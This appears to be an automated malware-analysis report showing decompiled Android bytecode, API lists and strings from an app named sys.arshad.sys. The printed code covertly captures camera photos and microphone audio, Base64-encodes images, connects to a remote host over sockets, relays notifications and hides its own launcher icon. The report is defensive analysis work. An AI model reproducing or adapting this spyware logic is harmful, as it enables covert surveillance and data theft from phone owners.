60invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: ticker
62const-string v0, "title"
64invoke-virtual {v4, v0, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: title
66const-string v0, "text"
68invoke-virtual {v4, v0, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: text
70iget-object v0, p0, Lsys/arshad/sys/NotificationService;->a:Landroid/content/Context;
72invoke-static {v0}, Landroid/support/v4/b/d;->a(Landroid/content/Context;)Landroid/support/v4/b/d;
73move-result-object v0
75invoke-virtual {v0, v4}, Landroid/support/v4/b/d;->a(Landroid/content/Intent;)Z
76return-void
Cross References
APIs
  • java.net.Socket.<init>
  • java.net.Socket.isConnected
  • java.io.PrintStream.println
  • java.net.Socket.close
  • java.io.PrintStream.println
  • java.net.Socket.close
  • java.lang.System.exit
  • java.io.IOException.printStackTrace
  • java.io.PrintStream.println
  • java.io.IOException.printStackTrace
  • java.net.Socket.close
  • java.lang.System.exit
  • java.io.PrintStream.println
  • java.net.Socket.close
  • java.lang.System.exit
  • java.io.IOException.printStackTrace
  • java.net.Socket.close
  • java.lang.System.exit
  • java.io.PrintStream.println
  • java.io.IOException.printStackTrace
Strings
  • Connected---->--- CLI vs SER
  • IOException---->E
  • IOException---->---E1
  • not Connected---->--!?-<
  • unknown host---->-->->
  • unknown host---->-->->IOException
Position Instruction Meta Information
0const/4 v5, 0x0
1const/4 v4, 0x0
2try_start_2: new-instance v0, Ljava/net/Socket;
4iget-object v1, p0, Lsys/arshad/sys/MainActivity;->f:Ljava/lang/String;
5iget v2, p0, Lsys/arshad/sys/MainActivity;->g:I
7invoke-direct {v0, v1, v2}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V
8iput-object v0, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
9try_start_d:
10iget-object v0, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
12invoke-virtual {v0}, Ljava/net/Socket;->isConnected()Z
13move-result v0
14if-eqz v0, :cond_42
16sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
18const-string v1, "Connected---->--- CLI vs SER"
20invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Connected---->--- CLI vs SER
22iget-object v0, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
24invoke-virtual {v0}, Ljava/net/Socket;->close()V
25try_end_21: return v4
26catch_22: move-exception v0
28sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
30const-string v2, "IOException---->E"
32invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: IOException---->E
33try_start_2a:
34iget-object v1, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
36invoke-virtual {v1}, Ljava/net/Socket;->close()V
37goto_2f:
38invoke-static {v4}, Ljava/lang/System;->exit(I)V
  • Data flow analysis:
    • p0: 0
40invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
41goto/16 :goto_d
42catch_36: move-exception v1
44sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
46const-string v3, "IOException---->---E1"
48invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: IOException---->---E1
50invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
51goto/16 :goto_2f
52cond_42: const/4 v0, 0x0
53try_start_43: iput-object v0, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
55iget-object v0, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
57invoke-virtual {v0}, Ljava/net/Socket;->close()V
58const/4 v0, 0x0
60invoke-static {v0}, Ljava/lang/System;->exit(I)V
  • Data flow analysis:
    • p0: 0
62sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
64const-string v1, "not Connected---->--!?-<"
66invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: not Connected---->--!?-<
67try_end_55: goto/16 :goto_21
68catch_56: move-exception v0
70sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
72const-string v1, "unknown host---->-->->"
74invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: unknown host---->-->->
75iput-object v5, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
76try_start_60:
77iget-object v0, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
79invoke-virtual {v0}, Ljava/net/Socket;->close()V
80goto_65:
81invoke-static {v4}, Ljava/lang/System;->exit(I)V
  • Data flow analysis:
    • p0: 0
82goto/16 :goto_21
83catch_69: move-exception v0
85invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
86goto/16 :goto_65
87catch_6e: move-exception v0
88iput-object v5, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
89try_start_71:
90iget-object v1, p0, Lsys/arshad/sys/MainActivity;->J:Ljava/net/Socket;
92invoke-virtual {v1}, Ljava/net/Socket;->close()V
93try_end_76:
94invoke-static {v4}, Ljava/lang/System;->exit(I)V
  • Data flow analysis:
    • p0: 0
96sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
98const-string v2, "unknown host---->-->->IOException"
100invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: unknown host---->-->->IOException
102invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
103goto/16 :goto_21
104catch_84: move-exception v1
106invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
107goto/16 :goto_76
APIs
  • sys.arshad.sys.MainActivity.q
  • sys.arshad.sys.MainActivity.r
  • sys.arshad.sys.MainActivity.s
  • android.media.AudioRecord.getMinBufferSize
  • sys.arshad.sys.MainActivity.c
  • sys.arshad.sys.MainActivity$b.h
  • sys.arshad.sys.MainActivity.c
  • android.media.AudioRecord.stop
  • android.media.AudioRecord.release
  • sys.arshad.sys.MainActivity.q
  • sys.arshad.sys.MainActivity.r
  • sys.arshad.sys.MainActivity.s
  • android.media.AudioRecord.getMinBufferSize
  • sys.arshad.sys.MainActivity.c
  • android.media.AudioRecord.stop
  • android.media.AudioRecord.release
  • sys.arshad.sys.MainActivity.q
  • sys.arshad.sys.MainActivity.r
  • sys.arshad.sys.MainActivity.s
  • android.media.AudioRecord.getMinBufferSize
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • B24:::R-1[(0)tcp]
Position Instruction Meta Information
0const/4 v1, 0x1
1try_start_1: iget v0, p0, Lsys/arshad/sys/MainActivity$b$42;->a:I
2if-nez v0, :cond_83
4iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
6iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
8iget-object v0, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
9if-nez v0, :cond_3d
11iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
13iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
15iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
17iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
19invoke-static {v1}, Lsys/arshad/sys/MainActivity;->q(Lsys/arshad/sys/MainActivity;)I
20move-result v1
22iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
24iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
26invoke-static {v2}, Lsys/arshad/sys/MainActivity;->r(Lsys/arshad/sys/MainActivity;)I
27move-result v2
29iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
31iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
33invoke-static {v3}, Lsys/arshad/sys/MainActivity;->s(Lsys/arshad/sys/MainActivity;)I
34move-result v3
36invoke-static {v1, v2, v3}, Landroid/media/AudioRecord;->getMinBufferSize(III)I
37move-result v1
38iput v1, v0, Lsys/arshad/sys/MainActivity;->b:I
40iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
42iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
43const/4 v1, 0x1
45invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->c(Lsys/arshad/sys/MainActivity;Z)Z
  • Data flow analysis:
    • p1: 1
47iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
49invoke-virtual {v0}, Lsys/arshad/sys/MainActivity$b;->h()V
50goto_3c: return-void
51cond_3d:
52iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
54iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
55const/4 v1, 0x0
57invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->c(Lsys/arshad/sys/MainActivity;Z)Z
  • Data flow analysis:
    • p1: 0
59iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
61iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
63iget-object v0, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
65invoke-virtual {v0}, Landroid/media/AudioRecord;->stop()V
67iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
69iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
71iget-object v0, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
73invoke-virtual {v0}, Landroid/media/AudioRecord;->release()V
75iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
77iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
78const/4 v1, 0x0
79iput-object v1, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
81iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
83iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
85iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
87iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
89invoke-static {v1}, Lsys/arshad/sys/MainActivity;->q(Lsys/arshad/sys/MainActivity;)I
90move-result v1
92iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
94iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
96invoke-static {v2}, Lsys/arshad/sys/MainActivity;->r(Lsys/arshad/sys/MainActivity;)I
97move-result v2
99iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
101iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
103invoke-static {v3}, Lsys/arshad/sys/MainActivity;->s(Lsys/arshad/sys/MainActivity;)I
104move-result v3
106invoke-static {v1, v2, v3}, Landroid/media/AudioRecord;->getMinBufferSize(III)I
107move-result v1
108iput v1, v0, Lsys/arshad/sys/MainActivity;->b:I
109goto/16 :goto_3c
110catch_81: move-exception v0
111goto/16 :goto_3c
112cond_83: iget v0, p0, Lsys/arshad/sys/MainActivity$b$42;->a:I
113if-ne v0, v1, :cond_3c
115iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
117iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
119iget-object v0, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
120if-eqz v0, :cond_3c
122iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
124iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
125const/4 v1, 0x0
127invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->c(Lsys/arshad/sys/MainActivity;Z)Z
  • Data flow analysis:
    • p1: 0
129iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
131iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
133iget-object v0, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
135invoke-virtual {v0}, Landroid/media/AudioRecord;->stop()V
137iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
139iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
141iget-object v0, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
143invoke-virtual {v0}, Landroid/media/AudioRecord;->release()V
145iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
147iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
148const/4 v1, 0x0
149iput-object v1, v0, Lsys/arshad/sys/MainActivity;->a:Landroid/media/AudioRecord;
151iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
153iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
155iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
157iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
159invoke-static {v1}, Lsys/arshad/sys/MainActivity;->q(Lsys/arshad/sys/MainActivity;)I
160move-result v1
162iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
164iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
166invoke-static {v2}, Lsys/arshad/sys/MainActivity;->r(Lsys/arshad/sys/MainActivity;)I
167move-result v2
169iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
171iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
173invoke-static {v3}, Lsys/arshad/sys/MainActivity;->s(Lsys/arshad/sys/MainActivity;)I
174move-result v3
176invoke-static {v1, v2, v3}, Landroid/media/AudioRecord;->getMinBufferSize(III)I
177move-result v1
178iput v1, v0, Lsys/arshad/sys/MainActivity;->b:I
180iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
182iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
183new-instance v1, Ljava/lang/StringBuilder;
185invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
187const-string v2, "B24:::R-1[(0)tcp]"
189invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B24:::R-1[(0)tcp]
190move-result-object v1
192iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$42;->b:Lsys/arshad/sys/MainActivity$b;
194iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
196iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
198invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
199move-result-object v1
201invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
202move-result-object v1
204invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
205try_end_f2: goto/16 :goto_3c
APIs
  • android.graphics.BitmapFactory$Options.<init>
  • android.graphics.BitmapFactory.decodeByteArray
  • android.content.res.Resources.getSystem
  • android.graphics.drawable.BitmapDrawable.<init>
  • android.hardware.Camera.release
  • java.lang.String.<init>
  • android.graphics.drawable.BitmapDrawable.getBitmap
  • java.io.ByteArrayOutputStream.<init>
  • sys.arshad.sys.PhotoTakingService.c
  • sys.arshad.sys.PhotoTakingService.d
  • android.graphics.Bitmap.compress
  • java.io.ByteArrayOutputStream.toByteArray
  • android.util.Base64.encodeToString
  • sys.arshad.sys.PhotoTakingService.c
  • sys.arshad.sys.PhotoTakingService.d
  • android.graphics.Bitmap.compress
  • android.content.Intent.<init>
  • sys.arshad.sys.PhotoTakingService.stopService
  • java.io.PrintStream.println
  • java.lang.Exception.printStackTrace
  • android.content.Intent.<init>
  • sys.arshad.sys.PhotoTakingService.stopService
Strings
  • EO---->2
Position Instruction Meta Information
0new-instance v0, Landroid/graphics/BitmapFactory$Options;
2invoke-direct {v0}, Landroid/graphics/BitmapFactory$Options;-><init>()V
3const/4 v1, 0x4
4iput v1, v0, Landroid/graphics/BitmapFactory$Options;->inSampleSize:I
5const/4 v1, 0x0
6array-length v2, p1
8invoke-static {p1, v1, v2, v0}, Landroid/graphics/BitmapFactory;->decodeByteArray([BIILandroid/graphics/BitmapFactory$Options;)Landroid/graphics/Bitmap;
  • Data flow analysis:
    • offset: 0
9move-result-object v1
10new-instance v0, Landroid/graphics/drawable/BitmapDrawable;
12invoke-static {}, Landroid/content/res/Resources;->getSystem()Landroid/content/res/Resources;
13move-result-object v2
15invoke-direct {v0, v2, v1}, Landroid/graphics/drawable/BitmapDrawable;-><init>(Landroid/content/res/Resources;Landroid/graphics/Bitmap;)V
17invoke-virtual {p2}, Landroid/hardware/Camera;->release()V
18try_start_1a: new-instance v1, Ljava/lang/String;
20invoke-direct {v1}, Ljava/lang/String;-><init>()V
21if-eqz v0, :cond_92
22check-cast v0, Landroid/graphics/drawable/BitmapDrawable;
24invoke-virtual {v0}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
25move-result-object v0
26new-instance v1, Ljava/io/ByteArrayOutputStream;
28invoke-direct {v1}, Ljava/io/ByteArrayOutputStream;-><init>()V
30iget-object v2, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
32iget-object v2, v2, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
34iget-object v2, v2, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
36invoke-static {v2}, Lsys/arshad/sys/PhotoTakingService;->c(Lsys/arshad/sys/PhotoTakingService;)I
37move-result v2
38if-nez v2, :cond_53
40sget-object v2, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;
42iget-object v3, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
44iget-object v3, v3, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
46iget-object v3, v3, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
48invoke-static {v3}, Lsys/arshad/sys/PhotoTakingService;->d(Lsys/arshad/sys/PhotoTakingService;)I
49move-result v3
51invoke-virtual {v0, v2, v3, v1}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
52cond_47:
53invoke-virtual {v1}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
54move-result-object v0
55const/4 v1, 0x2
57invoke-static {v0, v1}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
  • Data flow analysis:
    • flags: 2
58move-result-object v0
59sput-object v0, Lsys/arshad/sys/MainActivity;->c:Ljava/lang/String;
60goto_52: return-void
61cond_53:
62iget-object v2, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
64iget-object v2, v2, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
66iget-object v2, v2, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
68invoke-static {v2}, Lsys/arshad/sys/PhotoTakingService;->c(Lsys/arshad/sys/PhotoTakingService;)I
69move-result v2
70const/4 v3, 0x1
71if-ne v2, v3, :cond_47
73sget-object v2, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
75iget-object v3, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
77iget-object v3, v3, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
79iget-object v3, v3, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
81invoke-static {v3}, Lsys/arshad/sys/PhotoTakingService;->d(Lsys/arshad/sys/PhotoTakingService;)I
82move-result v3
84invoke-virtual {v0, v2, v3, v1}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
  • Data flow analysis:
    • p2: 2
85try_end_6f: goto/16 :goto_47
86catch_70: move-exception v0
88iget-object v1, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
90iget-object v1, v1, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
92iget-object v1, v1, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
93new-instance v2, Landroid/content/Intent;
95iget-object v3, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
97iget-object v3, v3, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
99iget-object v3, v3, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
100const-class v4, Lsys/arshad/sys/PhotoTakingService;
102invoke-direct {v2, v3, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
104invoke-virtual {v1, v2}, Lsys/arshad/sys/PhotoTakingService;->stopService(Landroid/content/Intent;)Z
106sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
108const-string v2, "EO---->2"
110invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->2
112invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
113goto/16 :goto_52
114try_start_92:
115iget-object v0, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
117iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
119iget-object v0, v0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
120new-instance v1, Landroid/content/Intent;
122iget-object v2, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
124iget-object v2, v2, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
126iget-object v2, v2, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
127const-class v3, Lsys/arshad/sys/PhotoTakingService;
129invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
131invoke-virtual {v0, v1}, Lsys/arshad/sys/PhotoTakingService;->stopService(Landroid/content/Intent;)Z
132try_end_a8: goto/16 :goto_52
APIs
  • sys.arshad.sys.MainActivity.p
  • sys.arshad.sys.MainActivity.q
  • sys.arshad.sys.MainActivity.r
  • sys.arshad.sys.MainActivity.s
  • sys.arshad.sys.MainActivity.t
  • sys.arshad.sys.MainActivity.u
  • sys.arshad.sys.MainActivity.v
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.startService
  • java.lang.System.exit
  • android.widget.Toast.makeText
  • android.widget.Toast.show
  • sys.arshad.sys.MainActivity.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • android.app.Activity.onBackPressed
  • android.content.Intent.<init>
  • android.content.Intent.addCategory
  • android.content.Intent.setFlags
  • sys.arshad.sys.MainActivity.startActivity
Strings
  • Access Denied Try later ..#
  • android.intent.action.MAIN
  • android.intent.category.HOME
Position Instruction Meta Information
0const/4 v2, 0x0
1const/4 v3, 0x1
2packed-switch p1, :pswitch_data_7a
3goto_5: return-void
4pswitch_6: array-length v0, p3
5if-lez v0, :cond_4b
6aget v0, p3, v2
7if-nez v0, :cond_4b
9invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->p()Z
10move-result v0
11if-ne v0, v3, :cond_5
13invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->q()Z
14move-result v0
15if-ne v0, v3, :cond_5
17invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->r()Z
18move-result v0
19if-ne v0, v3, :cond_5
21invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->s()Z
22move-result v0
23if-ne v0, v3, :cond_5
25invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->t()Z
26move-result v0
27if-ne v0, v3, :cond_5
29invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->u()Z
30move-result v0
31if-ne v0, v3, :cond_5
33invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->v()Z
34move-result v0
35if-ne v0, v3, :cond_5
36sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
37const/16 v1, 0x17
38if-lt v0, v1, :cond_5
39new-instance v0, Landroid/content/Intent;
40const-class v1, Lsys/arshad/sys/AutoStartUp;
42invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
44invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
46invoke-static {v2}, Ljava/lang/System;->exit(I)V
  • Data flow analysis:
    • p0: 0
47goto/16 :goto_5
48cond_4b:
49const-string v0, "Access Denied Try later ..#"
51invoke-static {p0, v0, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
  • Data flow analysis:
    • p1: Access Denied Try later ..#
    • p2: 0
52move-result-object v0
54invoke-virtual {v0}, Landroid/widget/Toast;->show()V
56invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
57move-result-object v0
58new-instance v1, Landroid/content/ComponentName;
59const-class v2, Lsys/arshad/sys/MainActivity;
61invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
63invoke-virtual {v0, v1, v3, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
  • Data flow analysis:
    • newState: 1
    • flags: 1
65invoke-super {p0}, Landroid/app/Activity;->onBackPressed()V
66new-instance v0, Landroid/content/Intent;
68const-string v1, "android.intent.action.MAIN"
70invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.MAIN
72const-string v1, "android.intent.category.HOME"
74invoke-virtual {v0, v1}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • category: android.intent.category.HOME
75const/high16 v1, 0x10000000
77invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
79invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
80goto/16 :goto_5
APIs
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdirs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileInputStream.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileOutputStream.<init>
  • java.io.InputStream.read
  • java.io.OutputStream.write
  • java.io.InputStream.close
  • java.io.OutputStream.flush
  • java.io.OutputStream.close
  • java.lang.StringBuilder.<init>
